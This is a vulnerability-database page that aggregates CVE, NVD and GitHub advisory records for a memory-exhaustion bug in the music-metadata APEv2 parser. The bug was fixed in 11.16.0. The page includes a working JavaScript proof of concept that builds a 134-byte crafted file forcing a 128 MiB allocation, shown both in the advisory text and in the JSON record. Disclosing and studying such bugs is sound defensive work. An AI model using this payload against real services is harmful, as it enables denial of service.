Vulnerability-Lookup

CVE-2026-107387 (GCVE-0-2026-107387)

Vulnerability from cvelistv5 – Published: 2026-10-08 18:58 – Updated: 2026-10-08 19:32

Title

music-metadata: Uncontrolled memory allocation in APEv2 parser

Summary

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the APEv2 parser reads an attacker-controlled tag-item size and allocates a Uint8Array for a binary item before proving that the declared item fits in the remaining tag or file data. A small crafted APE file can therefore trigger a disproportionate allocation, including through cover-art items, and repeated or concurrent parsing can exhaust process memory. The demonstrated impact is availability loss only. This issue is fixed in version 11.16.0.

Severity

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-08 19:31 UTC

CWE

CWE-789 - Memory Allocation with Excessive Size Value

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7642 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/Borewit/music-metadata/securit…	x_refsource_CONFIRM
https://github.com/Borewit/music-metadata/pull/2744	x_refsource_MISC
https://github.com/Borewit/music-metadata/commit/…	x_refsource_MISC
https://github.com/Borewit/music-metadata/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Borewit	music-metadata	Affected: < 11.16.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-107387

Vulnerability from fkie_nvd - Published: 2026-10-08 19:17 - Updated: 2026-10-08 20:46

Severity

6.2 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235
	security-advisories@github.com	https://github.com/Borewit/music-metadata/pull/2744
	security-advisories@github.com	https://github.com/Borewit/music-metadata/releases/tag/v11.16.0
	security-advisories@github.com	https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "music-metadata",
          "vendor": "Borewit",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 11.16.0"
            }
          ]
        }
      ],
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    }
  ],
  "id": "CVE-2026-107387",
  "lastModified": "2026-10-08T20:46:35.260",
  "metrics": {
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      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 6.2,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
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    }
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GHSA-53V6-4H7P-P4GJ

Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43

Summary

music-metadata: Uncontrolled memory allocation in APEv2 parser

Details

Summary

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.

The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.

This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.

Affected component

lib/apev2/APEv2Token.ts
lib/apev2/APEv2Parser.ts

The untrusted size is read here:

size: Token.UINT32_LE.get(buf, off)

It is later used directly for allocation when parsing binary tag items:

const picData = new Uint8Array(tagItemHeader.size);
await this.tokenizer.readBuffer(picData);

The allocation happens before the parser confirms that the declared size fits inside the remaining file data.

Impact

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

Proof of Concept

Run from the project checkout after compiling the source:

npm install --ignore-scripts
npm run compile-src:dev
node --expose-gc poc-apev2-memory.mjs

poc-apev2-memory.mjs:

import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]);
const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]);
const cat = (...parts) => {
  const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0));
  let off = 0;
  for (const p of parts) out.set(p, off), off += p.length;
  return out;
};

const big = 0x08000000; // 128 MiB

const desc = cat(
  Buffer.from('MAC '), le32(4000), le32(52), le32(24),
  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)
);

const hdr = cat(
  le16(0), le16(0), le32(1), le32(1), le32(1),
  le16(16), le16(1), le32(44100)
);

const key = Buffer.from('Cover Art (Front)\0', 'ascii');
const item = cat(le32(big), le32(2));

const tag = cat(
  Buffer.from('APETAGEX'),
  le32(2000),
  le32(32 + item.length + key.length + big),
  le32(1),
  le32(0),
  new Uint8Array(8)
);

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc();
const before = process.memoryUsage();

try {
  await parseBuffer(payload, { mimeType: 'audio/ape' });
} catch (error) {
  console.log(error.constructor.name + ': ' + error.message);
}

const after = process.memoryUsage();
console.log('input bytes:', payload.byteLength);
console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

Observed result

On music-metadata 11.15.0:

EndOfStreamError: End-Of-Stream
input bytes: 134
arrayBuffers delta MB: 128.00

The parser throws after reaching end-of-stream, but the large allocation has already happened.

Expected result

The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.

Suggested fix

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

Severity

6.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.12.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "music-metadata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:43:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`music-metadata` 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.\n\nThe parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted `.ape` file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.\n\nThis issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.\n\n## Affected component\n\n- `lib/apev2/APEv2Token.ts`\n- `lib/apev2/APEv2Parser.ts`\n\nThe untrusted size is read here:\n\n```ts\nsize: Token.UINT32_LE.get(buf, off)\n```\n\nIt is later used directly for allocation when parsing binary tag items:\n\n```ts\nconst picData = new Uint8Array(tagItemHeader.size);\nawait this.tokenizer.readBuffer(picData);\n```\n\nThe allocation happens before the parser confirms that the declared size fits inside the remaining file data.\n\n## Impact\n\nAn application that parses untrusted `.ape` files with `music-metadata` may be vulnerable to denial of service through memory exhaustion.\n\nThe demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.\n\nThe impact is limited to availability. No confidentiality or integrity impact has been demonstrated.\n\n## Proof of Concept\n\nRun from the project checkout after compiling the source:\n\n```bash\nnpm install --ignore-scripts\nnpm run compile-src:dev\nnode --expose-gc poc-apev2-memory.mjs\n```\n\n`poc-apev2-memory.mjs`:\n\n```js\nimport { parseBuffer } from \u0027./lib/core.js\u0027;\n\nconst le16 = n =\u003e Uint8Array.from([n \u0026 255, n \u003e\u003e\u003e 8]);\nconst le32 = n =\u003e Uint8Array.from([n \u0026 255, n \u003e\u003e\u003e 8 \u0026 255, n \u003e\u003e\u003e 16 \u0026 255, n \u003e\u003e\u003e 24]);\nconst cat = (...parts) =\u003e {\n  const out = new Uint8Array(parts.reduce((n, p) =\u003e n + p.length, 0));\n  let off = 0;\n  for (const p of parts) out.set(p, off), off += p.length;\n  return out;\n};\n\nconst big = 0x08000000; // 128 MiB\n\nconst desc = cat(\n  Buffer.from(\u0027MAC \u0027), le32(4000), le32(52), le32(24),\n  le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16)\n);\n\nconst hdr = cat(\n  le16(0), le16(0), le32(1), le32(1), le32(1),\n  le16(16), le16(1), le32(44100)\n);\n\nconst key = Buffer.from(\u0027Cover Art (Front)\\0\u0027, \u0027ascii\u0027);\nconst item = cat(le32(big), le32(2));\n\nconst tag = cat(\n  Buffer.from(\u0027APETAGEX\u0027),\n  le32(2000),\n  le32(32 + item.length + key.length + big),\n  le32(1),\n  le32(0),\n  new Uint8Array(8)\n);\n\nconst payload = cat(desc, hdr, tag, item, key);\n\nif (global.gc) global.gc();\nconst before = process.memoryUsage();\n\ntry {\n  await parseBuffer(payload, { mimeType: \u0027audio/ape\u0027 });\n} catch (error) {\n  console.log(error.constructor.name + \u0027: \u0027 + error.message);\n}\n\nconst after = process.memoryUsage();\nconsole.log(\u0027input bytes:\u0027, payload.byteLength);\nconsole.log(\u0027arrayBuffers delta MB:\u0027, ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));\n```\n\n## Observed result\n\nOn `music-metadata` 11.15.0:\n\n```text\nEndOfStreamError: End-Of-Stream\ninput bytes: 134\narrayBuffers delta MB: 128.00\n```\n\nThe parser throws after reaching end-of-stream, but the large allocation has already happened.\n\n## Expected result\n\nThe parser should reject the malformed APEv2 tag before allocating memory for the declared item size.\n\n## Suggested fix\n\nValidate `tagItemHeader.size` before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate `tagItemHeader.size` until the size has been checked.",
  "id": "GHSA-53v6-4h7p-p4gj",
  "modified": "2026-10-08T19:43:22Z",
  "published": "2026-10-08T19:43:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-53v6-4h7p-p4gj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/pull/2744"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/commit/b3bf52cb6021b046f33ba47583e19ab8f10dd235"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Borewit/music-metadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "music-metadata: Uncontrolled memory allocation in APEv2 parser"
}

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CVE-2026-107387 (GCVE-0-2026-107387)

FKIE_CVE-2026-107387

GHSA-53V6-4H7P-P4GJ

Summary

Affected component

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